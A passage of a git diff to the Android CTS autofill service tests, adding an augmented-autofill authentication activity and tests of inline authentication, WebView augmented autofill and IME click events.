                 .setPresentation(createPresentation("THE DUDE"))
                 .build());
 
-        mActivity.forceAutofillOnUsername();
-        mUiBot.waitForIdleSync();
+        mUiBot.waitForWindowChange(() -> mActivity.forceAutofillOnUsername());
 
         final FillRequest secondRequest = sReplier.getNextFillRequest();
         assertHasFlags(secondRequest.flags, FLAG_MANUAL_REQUEST);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAuthActivity.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAuthActivity.java
new file mode 100644
index 0000000..8de9eb7
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAuthActivity.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.augmented;
+
+import android.app.PendingIntent;
+import android.autofillservice.cts.AbstractAutoFillActivity;
+import android.autofillservice.cts.R;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.Dataset;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Activity for testing Augmented Autofill authentication flow. This activity shows a simple UI;
+ * when the UI is tapped, it returns whatever data was configured via the auth intent.
+ */
+public class AugmentedAuthActivity extends AbstractAutoFillActivity {
+    private static final String TAG = "AugmentedAuthActivity";
+
+    public static final String ID_AUTH_ACTIVITY_BUTTON = "button";
+
+    private static final String EXTRA_DATASET_TO_RETURN = "dataset_to_return";
+    private static final String EXTRA_CLIENT_STATE_TO_RETURN = "client_state_to_return";
+    private static final String EXTRA_RESULT_CODE_TO_RETURN = "result_code_to_return";
+
+    private static final List<PendingIntent> sPendingIntents = new ArrayList<>(1);
+
+    public static void resetStaticState() {
+        for (PendingIntent pendingIntent : sPendingIntents) {
+            pendingIntent.cancel();
+        }
+        sPendingIntents.clear();
+    }
+
+    public static IntentSender createSender(Context context, int requestCode,
+            Dataset datasetToReturn, Bundle clientStateToReturn, int resultCodeToReturn) {
+        Intent intent = new Intent(context, AugmentedAuthActivity.class);
+        intent.putExtra(EXTRA_DATASET_TO_RETURN, datasetToReturn);
+        intent.putExtra(EXTRA_CLIENT_STATE_TO_RETURN, clientStateToReturn);
+        intent.putExtra(EXTRA_RESULT_CODE_TO_RETURN, resultCodeToReturn);
+        PendingIntent pendingIntent = PendingIntent.getActivity(context, requestCode, intent, 0);
+        sPendingIntents.add(pendingIntent);
+        return pendingIntent.getIntentSender();
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        Log.d(TAG, "Auth activity invoked, showing auth UI");
+        setContentView(R.layout.single_button_activity);
+        findViewById(R.id.button).setOnClickListener((v) -> {
+            Log.d(TAG, "Auth UI tapped, returning result");
+
+            Intent intent = getIntent();
+            Dataset dataset = intent.getParcelableExtra(EXTRA_DATASET_TO_RETURN);
+            Bundle clientState = intent.getParcelableExtra(EXTRA_CLIENT_STATE_TO_RETURN);
+            int resultCode = intent.getIntExtra(EXTRA_RESULT_CODE_TO_RETURN, RESULT_OK);
+            Log.d(TAG, "Output: dataset=" + dataset + ", clientState=" + clientState
+                    + ", resultCode=" + resultCode);
+
+            Intent result = new Intent();
+            result.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, dataset);
+            result.putExtra(AutofillManager.EXTRA_CLIENT_STATE, clientState);
+            setResult(resultCode, result);
+
+            finish();
+        });
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/CannedAugmentedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/CannedAugmentedFillResponse.java
index a8a26a3..af1229b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/CannedAugmentedFillResponse.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/CannedAugmentedFillResponse.java
@@ -19,6 +19,7 @@
 
 import android.autofillservice.cts.R;
 import android.content.Context;
+import android.content.IntentSender;
 import android.os.Bundle;
 import android.service.autofill.InlinePresentation;
 import android.service.autofill.augmented.FillCallback;
@@ -189,6 +190,7 @@
                     final AutofillId id = pair.first;
                     datasetBuilder.setFieldInlinePresentation(id, pair.second, null,
                             dataset.mFieldPresentationById.get(id));
+                    datasetBuilder.setAuthentication(dataset.mAuthentication);
                 }
                 list.add(datasetBuilder.build());
             }
@@ -279,12 +281,14 @@
         private final Map<AutofillId, InlinePresentation> mFieldPresentationById;
         private final String mPresentation;
         private final AutofillValue mOnlyFieldValue;
+        private final IntentSender mAuthentication;
 
         private Dataset(@NonNull Builder builder) {
             mFieldValuesById = builder.mFieldValuesById;
             mPresentation = builder.mPresentation;
             mOnlyFieldValue = builder.mOnlyFieldValue;
             mFieldPresentationById = builder.mFieldPresentationById;
+            this.mAuthentication = builder.mAuthentication;
         }
 
         @NonNull
@@ -304,6 +308,7 @@
             return "Dataset: [presentation=" + mPresentation
                     + ", onlyField=" + mOnlyFieldValue
                     + ", fields=" + mFieldValuesById
+                    + ", auth=" + mAuthentication
                     + "]";
         }
 
@@ -314,6 +319,7 @@
 
             private final String mPresentation;
             private AutofillValue mOnlyFieldValue;
+            private IntentSender mAuthentication;
 
             public Builder(@NonNull String presentation) {
                 mPresentation = Objects.requireNonNull(presentation);
@@ -356,6 +362,13 @@
                 return this;
             }
 
+            /**
+             * Sets the authentication intent for this dataset.
+             */
+            public Builder setAuthentication(IntentSender authentication) {
+                mAuthentication = authentication;
+                return this;
+            }
 
             public Dataset build() {
                 return new Dataset(this);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
new file mode 100644
index 0000000..bb81399
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
@@ -0,0 +1,208 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.inline;
+
+import static android.app.Activity.RESULT_CANCELED;
+import static android.app.Activity.RESULT_OK;
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.augmented.AugmentedHelper.assertBasicRequestInfo;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.AutofillActivityTestRule;
+import android.autofillservice.cts.augmented.AugmentedAuthActivity;
+import android.autofillservice.cts.augmented.AugmentedAutofillAutoActivityLaunchTestCase;
+import android.autofillservice.cts.augmented.AugmentedLoginActivity;
+import android.autofillservice.cts.augmented.CannedAugmentedFillResponse;
+import android.autofillservice.cts.augmented.CtsAugmentedAutofillService;
+import android.content.IntentSender;
+import android.service.autofill.Dataset;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.EditText;
+
+import org.junit.Test;
+
+public class InlineAugmentedAuthTest
+        extends AugmentedAutofillAutoActivityLaunchTestCase<AugmentedLoginActivity> {
+
+    protected AugmentedLoginActivity mActivity;
+
+    public InlineAugmentedAuthTest() {
+        super(getInlineUiBot());
+    }
+
+    @Override
+    protected AutofillActivityTestRule<AugmentedLoginActivity> getActivityRule() {
+        return new AutofillActivityTestRule<AugmentedLoginActivity>(AugmentedLoginActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testDatasetAuth_resultOk_validDataset() throws Exception {
+        // Set services
+        enableService();
+        enableAugmentedService();
+
+        // Set expectations
+        final EditText unField = mActivity.getUsername();
+        final AutofillId unFieldId = unField.getAutofillId();
+        final AutofillValue unValue = unField.getAutofillValue();
+        sReplier.addResponse(NO_RESPONSE);
+        Dataset authResult = new Dataset.Builder(createInlinePresentation("auth"))
+                .setId("dummyId")
+                .setValue(unFieldId, AutofillValue.forText("Auth Result"))
+                .build();
+        IntentSender authAction = AugmentedAuthActivity.createSender(mContext, 1,
+                authResult, null, RESULT_OK);
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("bla").build(),
+                        unFieldId)
+                .addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("inline")
+                        .setField(unFieldId, "John Smith", createInlinePresentation("John"))
+                        .setAuthentication(authAction)
+                        .build())
+                .build());
+
+        // Trigger autofill request
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+        CtsAugmentedAutofillService.AugmentedFillRequest request1 =
+                sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        assertBasicRequestInfo(request1, mActivity, unFieldId, unValue);
+
+        // Confirm suggestions
+        mUiBot.assertDatasets("John");
+
+        // Tap on suggestion
+        mUiBot.selectDataset("John");
+        mUiBot.waitForIdle();
+
+        // Tap on the auth activity button and assert that the dataset from the auth activity is
+        // filled into the field.
+        mActivity.expectAutoFill("Auth Result");
+        mUiBot.selectByRelativeId(AugmentedAuthActivity.ID_AUTH_ACTIVITY_BUTTON);
+        mUiBot.waitForIdle();
+        mActivity.assertAutoFilled();
+        assertThat(unField.getText().toString()).isEqualTo("Auth Result");
+        mUiBot.assertNoDatasets();
+    }
+
+    @Test
+    public void testDatasetAuth_resultOk_nullDataset() throws Exception {
+        // Set services
+        enableService();
+        enableAugmentedService();
+
+        // Set expectations
+        final EditText unField = mActivity.getUsername();
+        final AutofillId unFieldId = unField.getAutofillId();
+        final AutofillValue unValue = unField.getAutofillValue();
+        sReplier.addResponse(NO_RESPONSE);
+        IntentSender authAction = AugmentedAuthActivity.createSender(mContext, 1,
+                null, null, RESULT_OK);
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("bla").build(),
+                        unFieldId)
+                .addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("inline")
+                        .setField(unFieldId, "John Smith", createInlinePresentation("John"))
+                        .setAuthentication(authAction)
+                        .build())
+                .build());
+
+        // Trigger autofill request
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+        CtsAugmentedAutofillService.AugmentedFillRequest request1 =
+                sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        assertBasicRequestInfo(request1, mActivity, unFieldId, unValue);
+
+        // Confirm suggestions
+        mUiBot.assertDatasets("John");
+
+        // Tap on suggestion
+        mUiBot.selectDataset("John");
+        mUiBot.waitForIdle();
+
+        // Tap on the auth activity button and assert that the field is left unchanged (since the
+        // dataset returned from the auth activity is null).
+        mUiBot.selectByRelativeId(AugmentedAuthActivity.ID_AUTH_ACTIVITY_BUTTON);
+        mUiBot.waitForIdle();
+        assertThat(unField.getText().toString()).isEqualTo("");
+    }
+
+    @Test
+    public void testDatasetAuth_resultCancel() throws Exception {
+        // Set services
+        enableService();
+        enableAugmentedService();
+
+        // Set expectations
+        final EditText unField = mActivity.getUsername();
+        final AutofillId unFieldId = unField.getAutofillId();
+        final AutofillValue unValue = unField.getAutofillValue();
+        sReplier.addResponse(NO_RESPONSE);
+        Dataset authResult = new Dataset.Builder(createInlinePresentation("auth"))
+                .setId("dummyId")
+                .setValue(unFieldId, AutofillValue.forText("Auth Result"))
+                .build();
+        IntentSender authAction = AugmentedAuthActivity.createSender(mContext, 1,
+                authResult, null, RESULT_CANCELED);
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .setDataset(new CannedAugmentedFillResponse.Dataset.Builder("bla").build(),
+                        unFieldId)
+                .addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("inline")
+                        .setField(unFieldId, "John Smith", createInlinePresentation("John"))
+                        .setAuthentication(authAction)
+                        .build())
+                .build());
+
+        // Trigger autofill request
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+        CtsAugmentedAutofillService.AugmentedFillRequest request1 =
+                sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        assertBasicRequestInfo(request1, mActivity, unFieldId, unValue);
+
+        // Confirm suggestions
+        mUiBot.assertDatasets("John");
+
+        // Tap on suggestion
+        mUiBot.selectDataset("John");
+        mUiBot.waitForIdle();
+
+        // Tap on the auth activity button and assert that the field is left unchanged (since the
+        // result code returned by the auth activity is RESULT_CANCELED).
+        mUiBot.selectByRelativeId(AugmentedAuthActivity.ID_AUTH_ACTIVITY_BUTTON);
+        mUiBot.waitForIdle();
+        assertThat(unField.getText().toString()).isEqualTo("");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
new file mode 100644
index 0000000..7ebe26d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.inline;
+
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.NO_AUGMENTED_RESPONSE;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.AutofillActivityTestRule;
+import android.autofillservice.cts.CannedFillResponse;
+import android.autofillservice.cts.Helper;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.MyWebView;
+import android.autofillservice.cts.WebViewActivity;
+import android.autofillservice.cts.augmented.AugmentedAutofillAutoActivityLaunchTestCase;
+import android.autofillservice.cts.augmented.CannedAugmentedFillResponse;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.KeyEvent;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+
+public class InlineAugmentedWebViewActivityTest extends
+        AugmentedAutofillAutoActivityLaunchTestCase<WebViewActivity> {
+
+    private static final String TAG = "InlineAugmentedWebViewActivityTest";
+    private WebViewActivity mActivity;
+
+    public InlineAugmentedWebViewActivityTest() {
+        super(getInlineUiBot());
+    }
+
+    @Override
+    protected AutofillActivityTestRule<WebViewActivity> getActivityRule() {
+        return new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class) {
+            @Override
+            protected void beforeActivityLaunched() {
+                super.beforeActivityLaunched();
+                Log.i(TAG, "Setting service before launching the activity");
+                enableService();
+            }
+
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testAugmentedAutoFillNoDatasets() throws Exception {
+        // Set service.
+        enableAutofillServices();
+
+        // Load WebView
+        mActivity.loadWebView(mUiBot);
+        mUiBot.waitForIdleSync();
+
+        // Set expectations.
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+        sAugmentedReplier.addResponse(NO_AUGMENTED_RESPONSE);
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        sReplier.getNextFillRequest();
+        sAugmentedReplier.getNextFillRequest();
+
+        // Assert not shown.
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Test
+    public void testAugmentedAutoFillOneDataset() throws Exception {
+        // Set service.
+        enableAutofillServices();
+
+        testBasicAugmentedAutofill();
+    }
+
+    @Test
+    public void testAugmentedAutoFill_startTypingHideInline() throws Exception {
+        // Set service.
+        enableAutofillServices();
+
+        testBasicAugmentedAutofill();
+
+        // Now pretend user typing something by updating the value in the input field.
+        mActivity.getUsernameInput().click();
+        mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
+
+        // Expect the inline suggestion to disappear.
+        mUiBot.assertNoDatasets();
+    }
+
+    private void enableAutofillServices() throws Exception {
+        enableService();
+        enableAugmentedService();
+    }
+
+    private void testBasicAugmentedAutofill() throws Exception {
+        // Load WebView
+        MyWebView myWebView = mActivity.loadWebView(mUiBot);
+        mUiBot.waitForIdleSync();
+
+        // Set expectations
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        mUiBot.waitForIdleSync();
+
+        // We cannot get webview field's AutofillId from AugmentedService FillRequest, we only can
+        // get these AutofillIds from AutofillService's AssistStructure by using html tag.
+        FillRequest autofillRequest = sReplier.getNextFillRequest();
+
+        // Set expectations for AugmentedService
+        AutofillId usernameId = getAutofillIdByWebViewTag(autofillRequest, HTML_NAME_USERNAME);
+        AutofillId passwordId = getAutofillIdByWebViewTag(autofillRequest, HTML_NAME_PASSWORD);
+        sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
+                .addInlineSuggestion(new CannedAugmentedFillResponse.Dataset.Builder("Augment Me")
+                        .setField(usernameId, "dude", createInlinePresentation("dude"))
+                        .setField(passwordId, "sweet", createInlinePresentation("sweet"))
+                        .build())
+                .setOnlyDataset(new CannedAugmentedFillResponse.Dataset.Builder("req1")
+                        .setOnlyField("dude")
+                        .build())
+                .build());
+
+        sAugmentedReplier.getNextFillRequest();
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("dude");
+
+        // Now Autofill it.
+        myWebView.expectAutofill("dude", "sweet");
+        mUiBot.selectDataset(datasetPicker, "dude");
+        myWebView.assertAutofilled();
+        mUiBot.assertNoDatasets();
+    }
+
+    private AutofillId getAutofillIdByWebViewTag(FillRequest autofillRequest, String tag) {
+        ViewNode viewNode = Helper.findNodeByHtmlName(autofillRequest.structure, tag);
+        return AutofillId.withoutSession(viewNode.getAutofillId());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
index 5c63891..b39f549 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
@@ -18,6 +18,7 @@
 
 import static android.app.Activity.RESULT_CANCELED;
 import static android.app.Activity.RESULT_OK;
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
 import static android.autofillservice.cts.Helper.ID_PASSWORD;
 import static android.autofillservice.cts.Helper.ID_USERNAME;
 import static android.autofillservice.cts.Helper.UNUSED_AUTOFILL_VALUE;
@@ -34,6 +35,7 @@
 import android.autofillservice.cts.CannedFillResponse.CannedDataset;
 import android.autofillservice.cts.Helper;
 import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.UiBot;
 import android.content.IntentSender;
 import android.platform.test.annotations.AppModeFull;
 
@@ -67,6 +69,101 @@
         return InlineUiBot.annotateRule(super.getMainTestRule());
     }
 
+    /**
+     * This test verifies the behavior that user starts a new AutofillSession in Authentication
+     * Activity during the FillResponse authentication flow, we will fallback to dropdown when
+     * authentication done and then back to original Activity.
+     */
+    @Test
+    public void testFillResponseAuth_withNewAutofillSessionStartByActivity()
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setId("name")
+                                .setInlinePresentation(createInlinePresentation("Dataset"))
+                                .setPresentation(createPresentation("Dataset"))
+                                .build()).build());
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth!"))
+                .setInlinePresentation(createInlinePresentation("Tap to auth!"))
+                .build());
+
+        // Trigger auto-fill.
+        assertSuggestionShownBySelectViewId(ID_USERNAME, "Tap to auth!");
+        sReplier.getNextFillRequest();
+
+        // Need to trigger autofill on AuthenticationActivity
+        // Set expected response for autofill on AuthenticationActivity
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        AuthenticationActivity.setRequestAutofillForAuthenticationActivity(true);
+        sReplier.addResponse(NO_RESPONSE);
+        // Select the dataset to start authentication
+        mUiBot.selectDataset("Tap to auth!");
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+        // Select yes button in AuthenticationActivity to finish authentication
+        mUiBot.selectByRelativeId("yes");
+        mUiBot.waitForIdle();
+
+        // Check fallback to dropdown
+        final UiBot dropDownUiBot = getDropdownUiBot();
+        dropDownUiBot.assertDatasets("Dataset");
+    }
+
+    @Test
+    public void testFillResponseAuth() throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setId("name")
+                                .setInlinePresentation(createInlinePresentation("Dataset"))
+                                .setPresentation(createPresentation("Dataset"))
+                                .build()).build());
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth!"))
+                .setInlinePresentation(createInlinePresentation("Tap to auth!"))
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill
+        assertSuggestionShownBySelectViewId(ID_USERNAME, "Tap to auth!");
+
+        sReplier.getNextFillRequest();
+
+        // Set AuthenticationActivity result code
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        // Select the dataset to start authentication
+        mUiBot.selectDataset("Tap to auth!");
+        mUiBot.waitForIdle();
+        // Authentication done, show real dataset
+        mUiBot.assertDatasets("Dataset");
+
+        // Select the dataset and check the result is autofilled.
+        mUiBot.selectDataset("Dataset");
+        mUiBot.waitForIdle();
+        mUiBot.assertNoDatasets();
+        mActivity.assertAutoFilled();
+    }
+
     @Test
     public void testDatasetAuthTwoFields() throws Exception {
         datasetAuthTwoFields(/* cancelFirstAttempt */ false);
@@ -133,6 +230,79 @@
     }
 
     @Test
+    public void testDatasetAuthPinnedPresentationSelectedAndAutofilled() throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare the authenticated dataset
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .build());
+
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, UNUSED_AUTOFILL_VALUE, null,
+                                Helper.createPinnedInlinePresentation("auth-pinned"))
+                        .setField(ID_PASSWORD, UNUSED_AUTOFILL_VALUE, null,
+                                Helper.createInlinePresentation("auth-unpinned"))
+                        .setPresentation(createPresentation("auth"))
+                        .setAuthentication(authentication)
+                        .build());
+        sReplier.addResponse(builder.build());
+
+        // Trigger auto-fill, verify seeing dataset.
+        assertSuggestionShownBySelectViewId(ID_USERNAME, "auth-pinned");
+        sReplier.getNextFillRequest();
+
+        // ...and select the dataset, then check the authentication result is autofilled.
+        mActivity.expectAutoFill("dude", "sweet");
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        mUiBot.selectDataset("auth-pinned");
+        mUiBot.waitForIdle();
+        mActivity.assertAutoFilled();
+
+        // Clear the username field, and expect to see the pinned suggestion again, rather than
+        // the one returned from auth intent.
+        mActivity.onUsername((v) -> v.setText(""));
+        assertSuggestionShownBySelectViewId(ID_USERNAME, "auth-pinned");
+
+        // Now select the dataset again and verify that the same authentication flow happens.
+        mActivity.expectAutoFill("dude", "sweet");
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        mUiBot.selectDataset("auth-pinned");
+        mUiBot.waitForIdle();
+        mActivity.assertAutoFilled();
+
+        // Clear the username field, put focus on password field, and then clear the password field,
+        // Expect to see unpinned suggestion.
+        mActivity.onUsername((v) -> v.setText(""));
+        mUiBot.selectByRelativeId(ID_PASSWORD);
+        mActivity.onPassword((v) -> v.setText(""));
+        assertSuggestionShownBySelectViewId(ID_PASSWORD, "auth-unpinned");
+
+        // Now select the dataset again and verify that the same authentication flow happens.
+        mActivity.expectAutoFill("dude", "sweet");
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        mUiBot.selectDataset("auth-unpinned");
+        mUiBot.waitForIdle();
+        mActivity.assertAutoFilled();
+
+        // Clear the password field, and expect to see the unpinned suggestion again, rather than
+        // the one returned from auth intent.
+        mActivity.onPassword((v) -> v.setText(""));
+        assertSuggestionShownBySelectViewId(ID_PASSWORD, "auth-unpinned");
+
+        // Now select the dataset again and verify that the same authentication flow happens.
+        mActivity.expectAutoFill("dude", "sweet");
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        mUiBot.selectDataset("auth-unpinned");
+        mUiBot.waitForIdle();
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
     public void testDatasetAuthFilteringUsingRegex() throws Exception {
         // Set service.
         enableService();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index 6aff0d5..eb18e96 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
@@ -23,8 +23,11 @@
 import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
 import static android.autofillservice.cts.Helper.findNodeByResourceId;
 import static android.autofillservice.cts.Helper.getContext;
+import static android.autofillservice.cts.Timeouts.MOCK_IME_TIMEOUT_MS;
 import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
 
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -45,6 +48,7 @@
 import android.service.autofill.FillContext;
 import android.support.test.uiautomator.Direction;
 
+import com.android.cts.mockime.ImeEventStream;
 import com.android.cts.mockime.MockImeSession;
 
 import org.junit.Test;
@@ -396,4 +400,61 @@
         sReplier.getNextFillRequest();
         mUiBot.waitForIdleSync();
     }
+
+    @Test
+    public void testClickEventPassToIme() throws Exception {
+        testTouchEventPassToIme(/* longPress */ false);
+    }
+
+    @Test
+    public void testLongClickEventPassToIme() throws Exception {
+        testTouchEventPassToIme(/* longPress */ true);
+    }
+
+    private void testTouchEventPassToIme(boolean longPress) throws Exception {
+        final MockImeSession mockImeSession = sMockImeSessionRule.getMockImeSession();
+        assumeTrue("MockIME not available", mockImeSession != null);
+
+        // Set service.
+        enableService();
+
+        Intent intent = new Intent(mContext, DummyActivity.class);
+        PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation(createPresentation("The Username"))
+                        .setInlinePresentation(longPress
+                                ? createInlinePresentation("The Username", pendingIntent)
+                                : createInlinePresentation("The Username"))
+                        .build());
+
+        sReplier.addResponse(builder.build());
+
+        final ImeEventStream stream = mockImeSession.openEventStream();
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasets("The Username");
+
+        if (longPress) {
+            // Long click on suggestion
+            mUiBot.longPressSuggestion("The Username");
+
+            expectEvent(stream,
+                    event -> "onInlineSuggestionLongClickedEvent".equals(event.getEventName()),
+                    MOCK_IME_TIMEOUT_MS);
+        } else {
+            // Click on suggestion
+            mUiBot.selectDataset("The Username");
+
+            expectEvent(stream,
+                    event -> "onInlineSuggestionClickedEvent".equals(event.getEventName()),
+                    MOCK_IME_TIMEOUT_MS);
+        }
+    }
 }
diff --git a/tests/backup/OWNERS b/tests/backup/OWNERS
index e0e5e22..563154f 100644
--- a/tests/backup/OWNERS
+++ b/tests/backup/OWNERS
@@ -1,9 +1,3 @@
-# Bug component: 41666
